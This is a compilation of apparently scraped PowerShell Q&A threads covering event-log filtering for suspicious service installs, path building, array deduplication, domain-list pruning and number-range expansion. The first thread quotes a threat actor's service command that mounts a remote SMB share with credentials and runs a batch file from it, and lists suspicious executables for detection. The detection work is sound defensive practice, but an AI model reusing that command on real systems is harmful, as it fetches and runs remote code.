PowerShell | EVTX | Compare Message with Array (Like) - arrays

Thank you for all the help I've gotten so far, much appreciated. I have been trying to achieve a simple task: to compare "Image Path" of a Event ID 7045 with a set of pre-defined keywords. The Like isn't working and Compare looks for an exact match.
$sus = #('powershell.exe','cmd.exe','psexesvc.exe')
$7045 = Get-WinEvent -FilterHashtable #{ Path="System.evtx"; Id = 7045 } | select
#{N=’Timestamp’;E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
Id,
#{N=’Machine Name’;E={$_.MachineName}},
#{N=’Service Name’;
E={$_.Properties[0].Value}},
#{N=’Image Path’; E={$_.Properties[1].Value}},#{N=’RunAsUser’; E={$_.Properties[4].Value}},
#{N=’Installed By’; E={$_.UserId}} | where 'Image Path' -match $sus```
I mean, if any of the keywords hit a match, I'd be interested!
To give you an idea, one of the many many malicious services installed by a Threat Actor looked like,
``cmd.exe /c powershell -c "net use \\192.168.100.100 /user:workgroup\test p#ssw0rd123;cmd.exe /c \\192.168.100.100\OutPut\run.bat"
So I kinda have many examples but .. if there was a way to get the Like operator work here, fantastic!
Thank you :)

You can use regex -match instead of like. For that, you need to create a regex string from the executables, combining the names with regex 'OR' (|) and escape the dot with a backslash:
# create a regex for the suspicious executables:
$sus = '(powershell|cmd|psexesvc)\.exe'
# alternatively you can join the array items like this:
# $sus = ('powershell.exe','cmd.exe','psexesvc.exe' | ForEach-Object {[regex]::Escape($_)}) -join '|'
$7045 = Get-WinEvent -FilterHashtable #{ LogName = 'System';Id = 7045 } |
Where-Object { $_.Properties[1].Value -match $sus } |
Select-Object Id,
#{N='Timestamp';E={$_.TimeCreated.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ')}},
#{N='Machine Name';E={$_.MachineName}},
#{N='Service Name'; E={$_.Properties[0].Value}},
#{N='Image Path'; E={$_.Properties[1].Value}},
#{N='RunAsUser'; E={$_.Properties[4].Value}},
#{N='Installed By'; E={$_.UserId}}

Related

Array not creating correctly in PowerShell

I have a script where I get all of the folders in d:\folder\*\*\ where the name is -like "*\Log". I then split the folder paths apart to run through wmi to get the corresponding services. After that I'm wanting to split apart the PathName property from $Services so I get everything before the \xxxxx.exe and add \log to the end of the result. Eventually I'll then use those paths to do some compression and archiving of files via a gci.
For whatever reason when I run the script below I the previous loops $LocalLogVar without "log" appended and the current loops LocalLogVar with log appended. I'm sure I'm doing something wrong that's blatantly obvious to somebody out there. If somebody could point me in the right direction on this it'd be much appreciated! I also apologize for the word vomit here, I've been looking at this script all day and my brain's pretty much used up.
A couple of notes:
The number of words in the paths vary which is why I can't manually do $LocalLogVar = "$Var1\$Var2\$Var3\Log"
If I don't have the [array] in front of $LogFolders the object type becomes a string and I get the previous loop's $LocalLogVar without "log" appended combined with the current loop's $LocalLogVar
I tried doing [collections.arraylist]$LogFolders=#() with no success
c:\folder is a shortcut to d:\folder, which is why there's c:\folder\xxx and d:\folder\xxx in the list below
SplitCount is -1 because I don't want the .exe from the path, I just want the folder structure
The naming convention for the string before .exe varies so I can't use an enumerated counter.
Example of first bullet:
word7-word8 #This is the previous loop's $LocalLogVar w/o "log" appended
C:\folder\word5\word6\word9-word8\log #This is the current loop's $LocalLogVar w/ "log" appended.
Example of the second bullet:
word7-word8C:\folder\word5\word6\word9-word8\log
What I should be getting:
D:\folder\word-anotherword\word7-word8\log
D:\folder\word-anotherword\word9-word8\log
C:\folder\word1\word7-word8\log
C:\folder\word1\word9-word8\log
C:\folder\word2\word7-word8\log
C:\folder\word2\word9-word8\log
D:\folder\word2\word10-word11\log
D:\folder\word2\word12-word8\log
C:\folder\word3\word7-word8\log
C:\folder\word3\word9-word8\log
D:\folder\word4\word7-word8\log
C:\folder\word4\word9-word8\log
C:\folder\word5\word6\word7-word8\log
C:\folder\word5\word6\word9-word8\log
C:\folder\word5\word6\word7-word8\log
C:\folder\word5\word6\word9-word8\log
$Folders = Get-ChildItem D:\folder\*\*\ -Directory -Recurse -Verbose `
| Where-Object { $_.fullname -like "*\Log" }
$2 = #()
$LogFolders = #()
foreach ($folder in $folders) {
$ServName = $folder.fullname.split('\')[2]
$ServType = $folder.fullname.split('\')[3]
$ServNameCheck = "*$($ServName.replace('-',' '))*"
$ServTypeCheck = "*$($ServType.replace('-',' '))*"
$PathName = Get-WmiObject -ClassName Win32_Service `
| Where-Object { $_.caption -like "$ServNameCheck" -and $_.caption -like "$ServTypeCheck" } `
| Select-Object Name, Caption, #{n = 'PathName'; e = { ($_.PathName).trim('"') } }
$2 += $PathName
}
$Services = $2 | Sort-Object pathname | Get-Unique -AsString
foreach ($ServPath in $services.pathname) {
$LocalLogVar = #()
if (Get-Variable `
| Where-Object { $_.name -match "^Split([0-9]|10)$" }) {
Get-Variable `
| Where-Object { $_.name -match "^Split([0-9]|10)$" } | Remove-Variable -Force
}
[int]$SplitCount = $ServPath.split('\').count
[int]$SplitCountCheck = $SplitCount - 1
$x = 0
do {
New-Variable -Name "Split$x" -Value "$($ServPath.split('\')[$x])"
$RegEx = "Split$x"
$LogFolderName = Get-Variable | Where-Object { $_.name -match $RegEx } | Select-Object value
[string]$LogFolders = $LogFolderName.value.ToString()
$LocalLogVar += $LogFolders + '\'
$x++
} until ($x -eq $SplitCountCheck)
$LocalLogVar = $LocalLogVar
$LocalLogVar = $LocalLogVar + "log"
[array]$LogFolders += $LocalLogVar
}
Wow, so that's a script. Kind of hard to follow, since some of it seems needlessly complex. I'm not sure if it will accomplish what you're looking for, but that's because you were super vague with your folder descriptions. Do the folders always start like this:
D:\folder<Service Short Name><Service Long Name>...\logs
If not you could be in trouble. The last four items on your example list of what you expect to see don't look like they are like that. I think the way your folders are laid out are like this:
D:\folder...<Service Short Name><Service Long Name>\logs
The difference being where the extra folders are located. If they're before the service like I think they are your script will miss things.
Now, on to getting your list that you want. What I see from looking at your script is that you get a folder list for all folders under D:\folder\*\*\ named 'log'. Then you split out the 3rd and 4th folders to get a service's short name, and long name respectively. Then one by one you pull a list of all services from WMI, and filter for just the service that matches the name and caption (short name, and long name) referred to by the folders. After that you make sure you only have one listing of any given service.
Regarding this first part of the script, you can make it faster by letting the file system provider filter things for you. Instead of pulling a folder list of everything and then filtering for paths that end in '\log', you should use the -filter parameter of the Get-ChildItem cmdlet like this:
$Folders = Get-ChildItem C:\temp\*\*\ -Directory -Recurse -Verbose -Filter 'log'
Then you should query WMI one time, save the result, then pick and choose from there based on your folders. Something like:
[array]$2 = foreach ($folder in $folders) {
$ServName,$ServType = $folder.fullname.split('\')[2,3] -replace '-',' '
$PathName = $AllServices |
Where-Object { $_.caption -like "*$ServName*" -and $_.caption -like "*$ServType*" } |
Select-Object Name, Caption, #{n = 'PathName'; e = { $_.PathName -replace '^(\w\S+) .*','$1' -replace '^([''"])([^\1]+)\1.*','$2' } }
}
$Services = $2 | Sort-Object pathname | Get-Unique -AsString
I did a little regex magic to clean up the pathname instead of just .trim('"') since this gets rid of parameters in the service execution, and cleans paths that are enclosed in single quotes not just double quotes. If what you have works for you feel free to keep it, but this is a little more capable. It may be worth noting that Get-Unique is case sensitive, so 'C:\folder\word3\word9-word8' and 'C:\folder\word3\word9-Word8' are different. You might want to do a .ToUpper() on your paths before you look for unique ones.
Once you have your array of services you loop through them, splitting the file path, reassembling it, and finally adding 'log' to the end of it. That was your way to remove the executable from the path. There's a cmdlet that was designed to do just that: split-path. Use that with Join-Path and that whole last loop gets much simpler:
[array]$LogFolders = foreach ($ServPath in $services.pathname) {
Join-Path (Split-Path $ServPath) 'log'
}
Lastly, try not to use +=, since PowerShell has to rebuild the whole array each time you do that. You'll notice I moved the $Variable = bit outside the loop in places that you do that.

Efficient way to remove duplicates from large 2D arrays in PowerShell

I have a large set of data roughly 10 million items that I need to process efficiently and quickly removing duplicate items based on two of the six column headers.
I have tried grouping and sorting items but it's horrendously slow.
$p1 = $test | Group-Object -Property ComputerSeriaID,ComputerID
$p2 = foreach ($object in $p1.group) {
$object | Sort-Object -Property FirstObserved | Select-Object -First 1
}
The goal would be to remove duplicates by assessing two columns while maintaining the oldest record based on first observed.
The data looks something like this:
LastObserved : 2019-06-05T15:40:37
FirstObserved : 2019-06-03T20:29:01
ComputerName : 1
ComputerID : 2
Virtual : 3
ComputerSerialID : 4
LastObserved : 2019-06-05T15:40:37
FirstObserved : 2019-06-03T20:29:01
ComputerName : 5
ComputerID : 6
Virtual : 7
ComputerSerialID : 8
LastObserved : 2019-06-05T15:40:37
FirstObserved : 2019-06-03T20:29:01
ComputerName : 9
ComputerID : 10
Virtual : 11
ComputerSerialID : 12
You might want to clean up your question a little bit, because it's a little bit hard to read, but I'll try to answer the best I can with what I can understand about what you're trying to do.
Unfortunately, with so much data there's no way to do this quickly. String Comparison and sorting are done by brute force; there is no way to reduce the complexity of comparing each character in one string against another any further than measuring them one at a time to see if they're the same.
(Honestly, if this were me, I'd just use export-csv $object and perform this operation in excel. The time tradeoff to scripting something like this only once just wouldn't be worth it.)
By "Items" I'm going to assume that you mean rows in your table, and that you're not trying to retrieve only the strings in the rows you're looking for. You've already got the basic idea of select-object down, you can do that for the whole table:
$outputFirstObserved = $inputData | Sort-Object -Property FirstObserved -Unique
$outputLastObserved = $inputData | Sort-Object -Property LastObserved -Unique
Now you have ~20 million rows in memory, but I guess that beats doing it by hand. All that's left is to join the two tables. You can download that Join-Object command from the powershell gallery with Install-Script -Name Join and use it in the way described. If you want to do this step yourself, the easiest way would be to squish the two tables together and sort them again:
$output = $outputFirstObserved + $outputLastObserved
$return = $output | Sort-Object | Get-Unique
Does this do it? It keeps the one it finds first.
$test | sort -u ComputerSeriaID, ComputerID
I created this function to de-duplicate my multi-dimensional arrays.
Basically, I concatenate the contents of the record, add this to a hash.
If the concatenate text already exists in the hash, don't add it to the array to be returned.
Function DeDupe_Array
{
param
(
$Data
)
$Return_Array = #()
$Check_Hash = #{}
Foreach($Line in $Data)
{
$Concatenated = ''
$Elements = ($Line | Get-Member -MemberType NoteProperty | % {"$($_.Name)"})
foreach($Element in $Elements)
{
$Concatenated += $line.$Element
}
If($Check_Hash.$Concatenated -ne 1)
{
$Check_Hash.add($Concatenated,1)
$Return_Array += $Line
}
}
return $Return_Array
}
Try the following script.
Should be as fast as possible due to avoiding any pipe'ing in PS.
$hashT = #{}
foreach ($item in $csvData) {
# Building hash table key
$key = '{0}###{1}' -f $item.ComputerSeriaID, $item.ComputerID
# if $key doesn't exist yet OR when $key exists and "FirstObserverd" is less than existing one in $hashT (only valid when date provided in sortable format / international format)
if ((! $hashT.ContainsKey($key)) -or ( $item.FirstObserved -lt $hashT[$key].FirstObserved )) {
$hashT[$key] = $item
}
}
$result = $hashT.Values

Removing Strings if Substring of the String is Present in Same Array

Noob here.
I'm trying to pare down a list of domains by eliminating all subdomains if the parent domain is present in the list. I've managed to cobble together a script that somewhat does this with PowerShell after some searching and reading. The output is not exactly what I want, but will work OK. The problem with my solution is that it takes so long to run because of the size of my initial list (tens of thousands of entries).
UPDATE: I've updated my example to clarify my question.
Example "parent.txt" list:
adk2.co
adk2.com
adobe.com
helpx.adobe.com
manage.com
list-manage.com
graph.facebook.com
Example output "repeats.txt" file:
adk2.com (different top level domain than adk2.co but that's ok)
helpx.adobe.com
list-manage.com (not subdomain of manage.com but that's ok)
I would then take and eliminate the repeats from the parent, leaving a list of "unique" subdomains and domains. I have this in a separate script.
Example final list with my current script:
adk2.co
adobe.com
manage.com
graph.facebook.com (it's not facebook.com because facebook.com wasn't in the original list.)
Ideal final list:
adk2.co
adk2.com (since adk2.co and adk2.com are actually distinct domains)
adobe.com
manage.com
graph.facebook.com
Below is my code:
I've taken my hosts list (parent.txt) and checked it against itself, and spit out any matches into a new file.
$parent = Get-Content("parent.txt")
$hosts = Get-Content("parent.txt")
$repeats =#()
$out_file = "$PSScriptRoot\repeats.txt"
$hosts | where {
$found = $FALSE
foreach($domains in $parent){
if($_.Contains($domains) -and $_ -ne $domains){
$found = $TRUE
$repeats += $_
}
if($found -eq $TRUE){
break
}
}
$found
}
$repeats = $repeats -join "`n"
[System.IO.File]::WriteAllText($out_file,$repeats)
This seems like a really inefficient way to do it since I'm going through each element of the array. Any suggestions on how to best optimize this? I have some ideas like putting more conditions on what elements to check and check against, but I feel like there's a drastically different approach that would be far better.
First, a solution based strictly on shared domain names (e.g., helpx.adobe.com and adobe.com are considered to belong to the same domain, but list-manage.com and manage.com are not).
This is not what you asked for, but perhaps more useful to future readers:
Get-Content parent.txt | Sort-Object -Unique { ($_ -split '\.')[-2,-1] -join '.' }
Assuming list.manage.com rather than list-manage.com in your sample input, the above command yields:
adk2.co
adk2.com
adobe.com
graph.facebook.com
manage.com
{ ($_ -split '\.')[-2,-1] -join '.' } sorts the input lines by the last 2 domain components (e.g., adobe.com):
-Unique discards duplicates.
A shared-suffix solution, as requested:
# Helper function for (naively) reversing a string.
# Note: Does not work properly with Unicode combining characters
# and surrogate pairs.
function reverse($str) { $a = $str.ToCharArray(); [Array]::Reverse($a); -join $a }
# * Sort the reversed input lines, which effectively groups them by shared suffix
# with the shortest entry first (e.g., the reverse of 'manage.com' before the
# reverse of 'list-manage.com').
# * It is then sufficient to output only the first entry in each group, using
# wildcard matching with -notlike to determine group boundaries.
# * Finally, sort the re-reversed results.
Get-Content parent.txt | ForEach-Object { reverse $_ } | Sort-Object |
ForEach-Object { $prev = $null } {
if ($null -eq $prev -or $_ -notlike "$prev*" ) {
reverse $_
$prev = $_
}
} | Sort-Object
One approach is to use a hash table to store all your parent values, then for each repeat, remove it from the table. The value 1 when adding to the hash table does not matter since we only test for existence of the key.
$parent = #(
'adk2.co',
'adk2.com',
'adobe.com',
'helpx.adobe.com',
'manage.com',
'list-manage.com'
)
$repeats = (
'adk2.com',
'helpx.adobe.com',
'list-manage.com'
)
$domains = #{}
$parent | % {$domains.Add($_, 1)}
$repeats | % {if ($domains.ContainsKey($_)) {$domains.Remove($_)}}
$domains.Keys | Sort

Create an array from a CSV list

I have a list in orders.csv like so:
Order
1025405008
1054003899
1055003868
1079004365
I wish to add the unit number (2nd-4th chars) and the entire order number into an array, so it will be like:
"0254","1025405008"
"0540","1054003899"
etc
etc
I wish to ignore the prefix "1". So far, with my limited PS knowledge, I have created the variables:
$Orders = Import-csv c:\Orderlist.csv
$Units = $Orders | Select #{LABEL="Unit";EXPRESSION={$_.Order.Substring(1,4)}}
So I wish to combine the two into an array. I have tried
$array = $Units,Orders
Any help will be appreciated.
In case of a big CSV file that has just this one column using regexp is much faster than Select:
$combined = [IO.File]::ReadAllText('c:\Orderlist.csv') `
-replace '(?m)^\d(\d{4})\d+', '"$1","$&"' `
-replace '^Order', 'Unit, Order' | ConvertFrom-Csv
~6x faster on 100k records in a 2MB file (700ms vs 4100ms)
You can just select the Order within your Select statement and use the ConvertTo-Csv cmdlet to get the desired output:
$Orders = Import-csv c:\Orderlist.csv
$unitOrderArray = $Orders | Select #{LABEL="Unit";EXPRESSION={$_.Order.Substring(1,4)}}, Order
$unitOrderArray | ConvertTo-Csv -NoTypeInformation
Output:
"Unit","Order"
"0254","1025405008"
"0540","1054003899"
"0550","1055003868"
"0790","1079004365"

How to convert a Delimited List of Mixed Strings to an array for powershell script

I'm looking to solve a problem where I have a long file of comma-delimitted ordered 8-digit numbers and ranges (with leading zeros), as below:
00001253,00001257-00001268,00001288,...,02154320,02154321,02154323-02154327,...
I want to
(a) store any values that aren't ranges as tokens in a PowerShell array while retaining leading zeros
and
(b) expand ranges to all of their corresponding values and store the tokens in the same array. Here's the PowerShell "script" I threw together for my purpose so far:
$refids = #(ARRAY_DERIVED_FROM_ABOVE_LIST)
foreach ($refid in $refids) {
New-Item c:\scripts\$refid.txt -type file -force -value "KEY:$refid"
}
Any ideas on how to proceed? Thanks in advance for any assistance
You can start with this, maybe:
$string = '00001253,00001257-00001268,00001288,02154320,02154321,02154323-02154327'
$string.split(',') |
foreach {
if ($_.Contains('-'))
{
invoke-expression ($_.replace('-','..')) |
foreach {'{0:D8}' -f $_}
}
else {$_}
}
00001253
00001257
00001258
00001259
00001260
00001261
00001262
00001263
00001264
00001265
00001266
00001267
00001268
00001288
02154320
02154321
02154323
02154324
02154325
02154326
02154327
Mjolinor's answer is very good. Some people refrain from using Invoke-Expression. Here is another example that accomplishes the same thing while showing a slightly different approach.
$string = '00001253,00001257-00001268,00001288,02154320,02154321,02154323-02154327'
$string.split(',') | ForEach-Object {
If($_.Contains('-')){
$_.Split("-")[0]..$_.Split("-")[1]
} Else {
$_
}
} | ForEach-Object{ Write-Output ([string]$_).PadLeft(8,"0")}

Resources